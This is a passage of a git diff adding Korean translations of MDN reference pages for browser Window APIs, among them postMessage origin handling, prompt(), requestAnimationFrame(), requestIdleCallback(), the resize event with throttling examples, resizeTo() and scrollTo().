+<p>전달된 이벤트의 <code>origin</code> 프로퍼티의 값은 호출하는 윈도우의 <code>document.domain</code> 현재 값에 영향을 받지 않습니다.</p>
+
+<p>IDN 호스트 명에 한하여, <code>origin</code> 프로퍼티 값은 일관되게 Unicode 또는 punycode가 아닙니다. 그래서, IDN 사이트로 부터 메시지를 기대하는 경우 최상의 호환성 체크를 하기위해, IDN과 Punycode의 값 모두를 체크하세요. 이 값은 결국 일관되게 IDN이 될 것이지만, 현재로서는 IDN과 Punycode 양식을 모두 처리해야 합니다.</p>
+
+<p>송신 창에 <code>javascript:</code> 또는<code>data:</code> URL이 있을 때의 <code>origin</code> 프로퍼티의 값은 URL을 로드한 스크립트의 origin입니다.</p>
+
+<h3 id="Using_window.postMessage_in_extensions_Non-standard_inline">Using window.postMessage in extensions {{Non-standard_inline}}</h3>
+
+<p><code>window.postMessage</code>는 크롬 코드(예: 확장 코드 및 권한 코드)로 실행되는 JavaScript에서 사용할 수 있지만, 발송된 이벤트의 <code>source</code> 프로퍼티는 보안 제한으로 항상 <code>null</code>입니다. (다른 프로퍼티에는 예상 값이 있습니다.)</p>
+
+<p>콘텐츠 또는 웹 컨텍스트 스크립트가 <code>targetOrigin</code>을 지정하여 확장 스크립트(백그라운드 스크립트 또는 콘텐츠 스크립트)와 직접 통신하는 것은 불가능합니다. 웹 또는 콘텐츠 스크립트는 <code>"*"</code>의 <code>targetOrigin</code>이 포함된 <code>window.postMessage</code>를 사용하여 모든 리스너에게 브로드캐스트할 수 있지만, 확장은 이러한 메시지의 발신지를 확인할 수 없고 다른 리스너(제어하지 않는 수신자 포함)가 수신할 수 있기 때문에 이 작업은 중지됩니다. </p>
+
+<p>컨텐츠 스크립트는 <a href="/en-US/Add-ons/WebExtensions/API/runtime">runtime.sendMessage</a> 를 사용하여 백그라운드 스크립트와 통신해야 합니다. 웹 컨텍스트 스크립트는 사용자 지정 이벤트를 사용하여 컨텐츠 스크립트(필요한 경우 게스트 페이지에서 스누핑을 방지하기 위해 임의로 생성된 이벤트 이름 포함)와 통신할 수 있습니다.</p>
+
+<p>마지막으로, <code>file:</code> URL의 페이지의 메시지를 보낼 경우 <code>targetOrigin</code> 파라미터를 <code>"*"</code>로 할 필요가 있습니다. <code>file://</code> 은 보안 제한으로 사용할 수 없으며 이 제한은 향후 수정될 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th><strong>Specification</strong></th>
+   <th><strong>Status</strong></th>
+   <th><strong>Comment</strong></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.postMessage")}} </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.domain")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+</ul>
diff --git a/files/ko/web/api/window/prompt/index.html b/files/ko/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..7817f6e8b3
--- /dev/null
+++ b/files/ko/web/api/window/prompt/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.prompt()
+slug: Web/API/Window/prompt
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+  - Window
+translation_of: Web/API/Window/prompt
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p><code>Window.prompt()</code>는 사용자가 텍스트를 입력할 수 있도록 안내하는 선택적 메세지를 갖고 있는 대화 상자를 띄웁니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>result</em> = window.prompt(<em>message</em>, <em>default</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사용자에게 보여줄 문자열. 프롬프트 창에 표시할 메세지가 없으면 생략할 수 있습니다.</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd>텍스트 입력 필드에 기본으로 채워 넣을 문자열. Internet Explorer 7과 8에서는 이 인자에 값을 지정하지 않으면 문자열 <code>"undefined"</code>가 지정됨에 유의하세요.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>사용자가 입력한 문자열, 또는 <code>null</code>.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">let sign = prompt("당신의 별자리는 무엇입니까?");
+
+if (sign.toLowerCase() === "전갈자리") {
+  alert("와! 저도 전갈자리예요!");
+}
+
+// prompt 기능을 쓰는 방법은 다양합니다.
+sign = window.prompt(); // 빈 대화 상자를 엽니다.
+sign = prompt(); // 빈 대화 상자를 엽니다.
+sign = window.prompt("님 지금 기분 좋아요?"); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄웁니다.
+sign = window.prompt("님 지금 기분 좋아요?", "네."); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄우되 기본적으로 입력되어 있는 값은 "네."로 합니다.</pre>
+
+<p>사용자가 확인 버튼을 누르면 입력부의 문자열을 반환합니다. 만약 사용자가 아무것도 입력하지 않고 확인 버튼을 누르면 빈 문자열을 반환합니다. 만약 사용자가 취소 버튼을 누르면 <code>null</code>을 반환합니다.</p>
+
+<p>상기의 대화 상자는 OS X 상의 Chrome에서 다음과 같이 보입니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/11303/prompt.png"><img alt="prompt() dialog in Chrome on OS X" src="https://mdn.mozillademos.org/files/11303/prompt.png" style="height: 298px; width: 535px;"></a></p>
+
+<h2 id="Notes" name="Notes">비고</h2>
+
+<p>대화 상자는 한 줄의 텍스트 상자, 한 개의 취소 버튼과 한 개의 확인 버튼을 갖고, 사용자가 텍스트 상자에 입력한 문자열(빈 문자열일 수 있음)을 반환합니다.</p>
+
+<p>대화 상자는 modal window(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)로, 사용자는 대화 상자가 닫힐 때까지 나머지 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 modal window)를 만드는 함수를 남용하면 안 됩니다.</p>
+
+<p>이 함수가 반환하는 값은 문자열이라는 점에 유의하세요. 이는 사용자가 입력한 값을 다른 자료형으로 바꿔야 할 때가 있음을 뜻합니다. 예를 들어, 만약 사용자의 대답이 <code>Number</code>가 되어야 한다면 반환 값을 직접 변환해야 합니다.</p>
+
+<p> </p>
+
+<pre class="brush: js"><code>const aNumber = Number(window.prompt("Type a number", ""));</code></pre>
+
+<p> </p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.prompt")}}</p>
+
+<h2 id="See_also" name="See_also">관련 문서</h2>
+
+<ul>
+ <li>{{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/requestanimationframe/index.html b/files/ko/web/api/window/requestanimationframe/index.html
new file mode 100644
index 0000000000..d85946dee3
--- /dev/null
+++ b/files/ko/web/api/window/requestanimationframe/index.html
@@ -0,0 +1,112 @@
+---
+title: window.requestAnimationFrame()
+slug: Web/API/Window/requestAnimationFrame
+tags:
+  - API
+  - Animations
+  - DOM
+  - DOM 레퍼런스
+  - requestAnimationFrame
+  - 게임
+  - 그래픽
+  - 그리기
+  - 레퍼런스
+  - 메소드
+  - 성능
+  - 스케줄링
+  - 윈도우
+  - 자바스크립트 타이머
+  - 중급
+translation_of: Web/API/window/requestAnimationFrame
+---
+<p>{{APIRef}}<br>
+ <strong><code>window.requestAnimationFrame()</code></strong>은 브라우저에게 수행하기를 원하는 애니메이션을 알리고 다음 리페인트가 진행되기 전에 해당 애니메이션을 업데이트하는 함수를 호출하게 합니다. 이 메소드는 리페인트 이전에 실행할 콜백을 인자로 받습니다.</p>
+
+<div class="note"><strong>노트:</strong> 다음 리페인트에서 그 다음 프레임을 애니메이트하려면 콜백 루틴이 반드시 스스로 <code>requestAnimationFrame()</code>을 호출해야합니다.</div>
+
+<p>화면에 새로운 애니메이션을 업데이트할 준비가 될때마다 이 메소드를 호출하는것이 좋습니다. 이는 브라우저가 다음 리페인트를 수행하기전에 호출된 애니메이션 함수를 요청합니다. 콜백의 수는 보통 1초에 60회지만, 일반적으로 대부분의 브라우저에서는 W3C 권장사항에 따라 그 수가 디스플레이 주사율과 일치하게됩니다. 대부분의 최신 브라우저에서는 성능과 배터리 수명 향상을 위해 <code>requestAnimationFrame()</code> 호출은 백그라운드 탭이나 hidden {{ HTMLElement("iframe") }}에서 실행이 중단됩니다.</p>
+
+<p>콜백 메소드에는 <code>requestAnimationFrame()</code>이 대기된 콜백을 실행하는 시점을 나타내는 단일 인자 {{domxref("DOMHighResTimeStamp")}}가 전달됩니다. 따라서, 모든 이전 콜백의 작업 부하를 계산하는동안 시간이 지나갔음에도 불구하고 단일 프레임에서의 다중 콜백은 각각 동일한 타임스탬프를 받습니다. 이 타임스탬프는 밀리초 단위의 십진수지만, 최소 정밀도는 1ms (1000 µs) 입니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">window.requestAnimationFrame(callback);
+</pre>
+
+<h3 id="Parameters" name="Parameters">파라미터</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>다음 리페인트를 위한 애니메이션을 업데이트할 때 호출할 함수입니다. 콜백 함수에는 <code>requestAnimationFrame()</code>이 콜백 함수 실행을 시작할 때의 시점을 나타내는 {{domxref('performance.now()')}} 에 의해 반환되는 것과 유사한 {{domxref("DOMHighResTimeStamp")}} 단일 인자가 전달됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>콜백 리스트의 항목을 정의하는 고유한 요청 id 인 <code>long</code> 정수 값. 0 이 아니라는것 외에는 다른 추측을 할 수가 없는 값입니다. 이 값을 {{domxref("window.cancelAnimationFrame()")}} 에 전달해 콜백 요청을 취소할 수 있습니다.</p>
+
+<h2 id="Notes" name="Notes">예시</h2>
+
+<pre class="brush: js">var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+element.style.position = 'absolute';
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  element.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress &lt; 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+</pre>
+
+<h2 id="노트">노트</h2>
+
+<p>인터넷 익스플로러와 Edge 17 버전 이하는 페인트 사이클 이전에 <code>requestAnimationFrame</code> 실행을 보장하지 않습니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>변경 사항 없음, 이 전 것을 대체.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}</td>
+   <td>{{Spec2('RequestAnimationFrame')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.requestAnimationFrame")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("Window.cancelAnimationFrame()")}}</li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - 블로그 포스트</li>
+ <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - 블로그 포스트</li>
+ <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - 블로그 포스트</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - 블로그 포스트</li>
+ <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li>
+ <li>Paul Irish: <a class="external external-icon" href="http://updates.html5rocks.com/2012/05/requestAnimationFrame-API-now-with-sub-millisecond-precision">requestAnimationFrame API: now with sub-millisecond precision</a></li>
+</ul>
diff --git a/files/ko/web/api/window/requestidlecallback/index.html b/files/ko/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..e691bf3f07
--- /dev/null
+++ b/files/ko/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,76 @@
+---
+title: window.requestIdleCallback()
+slug: Web/API/Window/requestIdleCallback
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - JavaScript timers
+  - Method
+  - Reference
+  - Window
+  - requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>window.requestIdleCallback()</strong></code> 메서드는 브라우저의 idle 상태에 호출될 함수를 대기열에 넣습니다. 이를 통해 개발자는 애니메이션 및 입력 응답과 같은 대기 시간이 중요한 이벤트에 영향을 미치지 않고 메인 이벤트 루프에서 백그라운드 및 우선 순위가 낮은 작업을 수행 할 수 있습니다. 함수는 일반적으로 first-in-first-out(FIFO) 순서로 호출됩니다. 하지만, <code>timeout</code> 옵션이 지정된 callback은 제한 시간이 지나기 전에 이들을 실행하기 위해 순서에 맞지 않게 호출될 수 있습니다.</p>
+
+<p>idle callback 안에서  <code>requestIdleCallback()</code> 을 호출하여 다음 패스가 이벤트 루프를 통과하는 즉시 다른 callback을 예약할 수 있습니다.</p>
+
+<div class="note">필수적인 작업이라면 <code>timeout</code> 옵션을 사용하는 것을 강력히 권장합니다.  사용하지 않을 경우 callback이 실행되기전에 몇 초 이상 소요될 수 있습니다.</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>var <em>handle</em> = <em>window</em>.requestIdleCallback(<em>callback</em>[, <em>options</em>])</code></pre>
+
+<h3 id="Returns" name="Returns">Return value</h3>
+
+<p>실행 ID. {{domxref("window.cancelIdleCallback()")}} 메서드에 인자로 전달하여 callback 실행을 취소할 수 있습니다.</p>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>이벤트 루프가 유휴 상태가 될 때 호출되어야 하는 함수. callback 함수는 {{domxref("IdleDeadline")}} 객체를 인자로 전달받습으며 이 객체를 통해 타임아웃 기간이 만료되어 callback이 실행되었는지 여부를 알 수 있습니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>선택적으로 사용가능한 option 설정. 현재는 하나의 property만 정의 되어 있습니다 :
+ <ul>
+  <li><code>timeout</code>: 만약<code>timeout</code> 이 지정되어 있고 양수일 경우,  <em>timeout</em> 밀리세컨드가 지날 때까지 callback이 실행되지 않았다면 성능상에 부정적인 영향을 미치는 위험이 있더라도 다음 idle 상태에 callback이 호출됩니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a> 포스트의 <a href="/en-US/docs/Web/API/Background_Tasks_API#Example">complete example</a> 예제를 참조해 주십시오.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Window.requestIdleCallback")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("window.setTimeout()")}}</li>
+ <li>{{domxref("window.setInterval()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/resize_event/index.html b/files/ko/web/api/window/resize_event/index.html
new file mode 100644
index 0000000000..f2c38b598b
--- /dev/null
+++ b/files/ko/web/api/window/resize_event/index.html
@@ -0,0 +1,192 @@
+---
+title: resize
+slug: Web/API/Window/resize_event
+translation_of: Web/API/Window/resize_event
+---
+<p> </p>
+
+<p><span class="seoSummary"><strong><code>resize</code></strong> 이벤트는 document view의 크기가 변경될 때 발생합니다.</span></p>
+
+<p><code>window.onresize</code> 속성(어트리뷰트)을 사용하거나,<code>window.addEventListener('resize', ...)</code>를 사용하여, 이벤트 핸들러에 <code>resize</code> 이벤트를 등록할 수 있습니다.</p>
+
+<p>일부 브라우저의 이전 버전에서는 모든 HTML 요소(엘리먼트)에 <code>resize</code> 이벤트 핸들러를 등록 할 수 있었습니다. 여전히 <code>onresize</code> 속성을 사용하거나, {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하여 모든 요소에 핸들러를 설정할 수 있습니다. 그러나 <code>resize</code> 이벤트는 오직 {{domxref("Window", "window")}}객체({{domxref("document.defaultView")}})에서만 발생합니다(전달합니다). <code>window</code> 객체에 등록된 핸들러만 이벤트를 수신합니다.</p>
+
+<p>모든 요소가 resize 변경을 알림받을 수 있도록 하는 새로운 제안(proposal 2017)이 있습니다. 드래프트문서를 읽으려면 <a href="https://wicg.github.io/ResizeObserver/">Resize Observer</a>를 참조하고, 진행중인 토론을 읽으려면 <a href="https://github.com/WICG/ResizeObserver/issues">Github issues</a> 문서를 참조하세요.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specifications</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a>, <a href="http://www.w3.org/TR/cssom-view/#resizing-viewports">CSSOM View</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView (window)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/ko/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>이벤트 타겟(DOM 트리의 최상위 타겟).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/ko/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>이벤트의 타입.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/ko/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>이벤트가 정상적으로 버블이 발생하는지 여부.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/ko/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>이벤트 취소 가능 여부.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/ko/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/ko/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (문서의 <code>window</code>)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p><code>resize</code> 이벤트는 빈번하게 발생될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같은 계산이 많이 필요한 연산을 실행하지 않아야 합니다. 대신에 다음과 같이 <a href="/ko/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame">requestAnimationFrame</a>, <a href="/ko/docs/Web/API/WindowTimers/setTimeout">setTimeout</a>, <a href="/ko/docs/Web/API/CustomEvent">customEvent</a>* 등을 사용해 이벤트를 스로틀(throttle) 하는것이 좋습니다:<br>
+ <br>
+ <strong>* 주의: </strong>IE11은 제대로 작동하려면 <a href="https://developer.mozilla.org/ko/docs/Web/API/CustomEvent/CustomEvent#Polyfill">customEvent</a> 폴리필(polyfill)이 필요합니다.</p>
+
+<h3 id="requestAnimationFrame_customEvent">requestAnimationFrame + customEvent</h3>
+
+<pre class="brush: js">(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+</pre>
+
+<h3 id="requestAnimationFrame">requestAnimationFrame</h3>
+
+<pre class="brush: js">var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+</pre>
+
+<h3 id="setTimeout">setTimeout</h3>
+
+<pre class="brush: js">(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());</pre>
diff --git a/files/ko/web/api/window/resizeto/index.html b/files/ko/web/api/window/resizeto/index.html
new file mode 100644
index 0000000000..a00b232297
--- /dev/null
+++ b/files/ko/web/api/window/resizeto/index.html
@@ -0,0 +1,73 @@
+---
+title: Window.resizeTo()
+slug: Web/API/Window/resizeTo
+tags:
+  - API
+  - CSSOM View
+  - Method
+  - Reference
+  - Window
+translation_of: Web/API/Window/resizeTo
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.resizeTo()</code></strong> 메서드는 동적으로 창의 크기를 변경합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox notranslate">window.resizeTo(<em>width</em>, <em>height</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>새로운 {{domxref("window.outerWidth","outerWidth")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 너비입니다.</dd>
+ <dt><code>height</code></dt>
+ <dd>새로운 {{domxref("window.outerHeight","outerHeight")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 높이입니다.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>다음 함수는 창의 크기를 화면에서 사용 가능한 크기의 1/4로 설정합니다. {{domxref("Screen.availWidth")}}, {{domxref("Screen.availHeight")}} 속성도 참고하세요.</p>
+
+<pre class="brush:js notranslate">function quarter() {
+  window.resizeTo(
+    window.screen.availWidth / 2,
+    window.screen.availHeight / 2
+  );
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-resizeto', 'window.resizeTo()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.resizeTo")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.resizeBy()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/scrollto/index.html b/files/ko/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..10fa9652f2
--- /dev/null
+++ b/files/ko/web/api/window/scrollto/index.html
@@ -0,0 +1,48 @@
+---
+title: Window.scrollTo()
+slug: Web/API/Window/scrollTo
+translation_of: Web/API/Window/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p><span class="sentence" id="mt1">문서의 지정된 위치로 스크롤합니다.</span></p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code>window.scrollTo(<em>x-좌표</em>, <em>y-좌표</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<ul>
+ <li><code>x-좌표는 문서의 왼쪽상단부터 시작하는 </code>픽셀단위의 <code>가로축</code>입니다.</li>
+ <li><code>y-좌표는 문서의 왼쪽상단부터 시작하는 </code>픽셀단위의 세로축입니다.</li>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">window.scrollTo( 0, 1000 );</pre>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>이 함수는 <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a>과 효과적으로 같습니다. 스크롤링 관련 정보는 <a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a>, <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, 그리고 <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a>가 있습니다.</p>
+
+<h2 id="Specification" name="Specification">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+   <th scope="col">주해</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scroll', 'window.scroll()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/window/scrollx/index.html b/files/ko/web/api/window/scrollx/index.html
new file mode 100644
index 0000000000..e967d100e0
--- /dev/null
+++ b/files/ko/web/api/window/scrollx/index.html
@@ -0,0 +1,82 @@
+---
+title: Window.scrollX
+slug: Web/API/Window/scrollX
+tags:
+  - API
+  - CSSOM View
+  - Property
+  - Reference
+  - 스크롤
+translation_of: Web/API/Window/scrollX
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
